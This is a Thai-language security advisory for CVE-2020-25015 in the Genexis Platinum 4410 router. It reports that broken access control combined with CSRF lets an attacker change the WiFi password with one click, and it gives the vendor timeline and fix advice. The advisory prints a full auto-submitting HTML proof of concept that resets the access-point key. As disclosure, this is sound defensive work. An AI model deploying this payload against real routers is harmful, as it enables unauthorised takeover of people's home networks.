ขณะทดสอบ Router Genexis Platinum 4410 รุ่นบ้าน version 2.1 (ซอฟต์แวร์ version P4410-V2-1.28) ผมพบว่า Router นี้มีช่องโหว่ต่อ Broken Access Control และ CSRF
CVE ID: CVE-2020-25015
สรุป
Platinum 4410 เป็น Router ขนาดเล็กจาก Genexis ที่ใช้กันทั่วไปในบ้าน Hardware version V2.1 – Software version P4410-V2-1.28 พบว่ามีช่องโหว่ต่อ Broken Access Control และ CSRF ซึ่งสามารถรวมกันเพื่อเปลี่ยนรหัสผ่านจุดเข้าถึง WiFi (WIFI Access Point) แบบระยะไกลได้
สำหรับข้อมูลเพิ่มเติมเกี่ยวกับ CSRF โปรดเยี่ยมชมบทความนี้
ผลกระทบ
ผู้โจมตีสามารถส่งลิงก์ให้เหยื่อ ซึ่งหากเขาคลิกขณะที่เขาเชื่อมต่อกับเครือข่าย WiFi ที่สร้างจาก Router ที่มีช่องโหว่ รหัสผ่านของจุดเข้าถึง WiFi จะถูกเปลี่ยนผ่านการโจมตี CSRF เนื่องจาก Router ยังมีช่องโหว่ Broken Access Control เหยื่อจึงไม่จำเป็นต้องล็อกอินเข้าสู่หน้าตั้งค่าเว็บของ Router (192.168.1.1) ทำให้กลายเป็นการแฮกเพียงคลิกเดียว (One-click Hack)
ช่องโหว่
ในความเป็นจริง การโจมตีนี้จะก่อให้เกิดปัญหา เพราะสำหรับการโจมตี CSRF ให้สำเร็จ ต้องการให้เหยื่อล็อกอินอยู่ในแอปพลิเคชันที่อยู่ภายใต้การโจมตี (ในกรณีนี้คือหน้าตั้งค่าเว็บที่ 192.168.1.1) และหน้าตั้งค่า Router ส่วนใหญ่จะจบเซสชันผู้ใช้โดยอัตโนมัติ นอกจากนี้ ลูกค้าก็ราเราก็จะเข้าไปที่หน้าตั้งค่า Router ของพวกเขา อย่างไรก็ตาม เนื่องจากช่องโหว่ Broken Access Control ในรุ่นเฟิร์มแวร์ล่าสุดในขณะรายงาน คำขอเปลี่ยนรหัสผ่านจึงสามารถส่งโดยฝ่ายที่ไม่ได้รับการยืนยันตัวตน (Unauthenticated) ได้เช่นกัน
ดังนั้น การรวมช่องโหว่ CSRF และ Broken Access Control บนรุ่นเฟิร์มแวร์นี้ ผู้โจมตีสามารถสร้างเอกสาร HTML ด้วยโค้ดต่อไปนี้ และหลอกผู้ใช้ให้ส่งมัน
<html> <body> <script>history.pushState('', '', '/')</script> <form action="https://192.168.1.1/cgi-bin/net-wlan.asp" method="POST"> <input type="hidden" name="wlEnbl" value="ON" /> <input type="hidden" name="hwlKeys0" value="" /> <input type="hidden" name="hwlKeys1" value="" /> <input type="hidden" name="hwlKeys2" value="" /> <input type="hidden" name="hwlKeys3" value="" /> <input type="hidden" name="hwlgMode" value="9" /> <input type="hidden" name="hwlAuthMode" value="WPAPSKWPA2PSK" /> <input type="hidden" name="hwlEnbl" value="1" /> <input type="hidden" name="hWPSMode" value="1" /> <input type="hidden" name="henableSsid" value="1" /> <input type="hidden" name="hwlHide" value="0" /> <input type="hidden" name="isInWPSing" value="0" /> <input type="hidden" name="WpsConfModeAll" value="7" /> <input type="hidden" name="WpsConfModeNone" value="0" /> <input type="hidden" name="hWpsStart" value="0" /> <input type="hidden" name="isCUCSupport" value="0" /> <input type="hidden" name="SSIDPre" value="N/A" /> <input type="hidden" name="bwControlhidden" value="0" /> <input type="hidden" name="ht_bw" value="1" /> <input type="hidden" name="wlgMode" value="b,g,n" /> <input type="hidden" name="wlChannel" value="0" /> <input type="hidden" name="wlTxPwr" value="1" /> <input type="hidden" name="wlSsidIdx" value="0" /> <input type="hidden" name="SSID_Flag" value="0" /> <input type="hidden" name="wlSsid" value="JINSON" /> <input type="hidden" name="wlMcs" value="33" /> <input type="hidden" name="bwControl" value="1" /> <input type="hidden" name="giControl" value="1" /> <input type="hidden" name="enableSsid" value="on" /> <input type="hidden" name="wlAssociateNum" value="32" /> <input type="hidden" name="wlSecurMode" value="WPAand11i" /> <input type="hidden" name="wlPreauth" value="off" /> <input type="hidden" name="wlNetReauth" value="1" /> <input type="hidden" name="wlWpaPsk" value="NEWPASSWORD" /> <input type="hidden" name="cb_enablshowpsw" value="on" /> <input type="hidden" name="wlWpaGtkRekey" value="" /> <input type="hidden" name="wlRadiusIPAddr" value="" /> <input type="hidden" name="wlRadiusPort" value="" /> <input type="hidden" name="wlRadiusKey" value="" /> <input type="hidden" name="wlWpa" value="TKIPAES" /> <input type="hidden" name="wlKeyBit" value="64" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="wlKeys" value="" /> <input type="hidden" name="WpsActive" value="0" /> <input type="hidden" name="wpsmode" value="ap-pbc" /> <input type="hidden" name="pinvalue" value="" /> <input type="hidden" name="Save_Flag" value="1" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
ตราบใดที่เหยื่อยังเชื่อมต่อกับจุดเข้าถึง WiFi ที่สร้างโดย Router ที่ได้รับผลกระทบ รหัสผ่านของจุดเข้าถึงก็จะถูกเปลี่ยนตามที่แสดงในวิดีโอด้านล่าง
Timeline
- รายงานช่องโหว่ให้ทีม Genexis วันที่ 28 สิงหาคม 2020
- ทีมยืนยันการเผยแพร่เฟิร์มแวร์ที่มีการแก้ไข วันที่ 14 กันยายน 2020
คำแนะนำ
- ตามทีม Genexis ลูกค้าควรติดต่อ ISP ของตน เพื่อรับการเข้าถึงเฟิร์มแวร์ล่าสุด
- ใช้ Router ที่ปลอดภัยกว่าหากคุณไม่สามารถอัปเกรดเฟิร์มแวร์ได้
อ้างอิง
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25015
- https://nvd.nist.gov/vuln/detail/CVE-2020-25015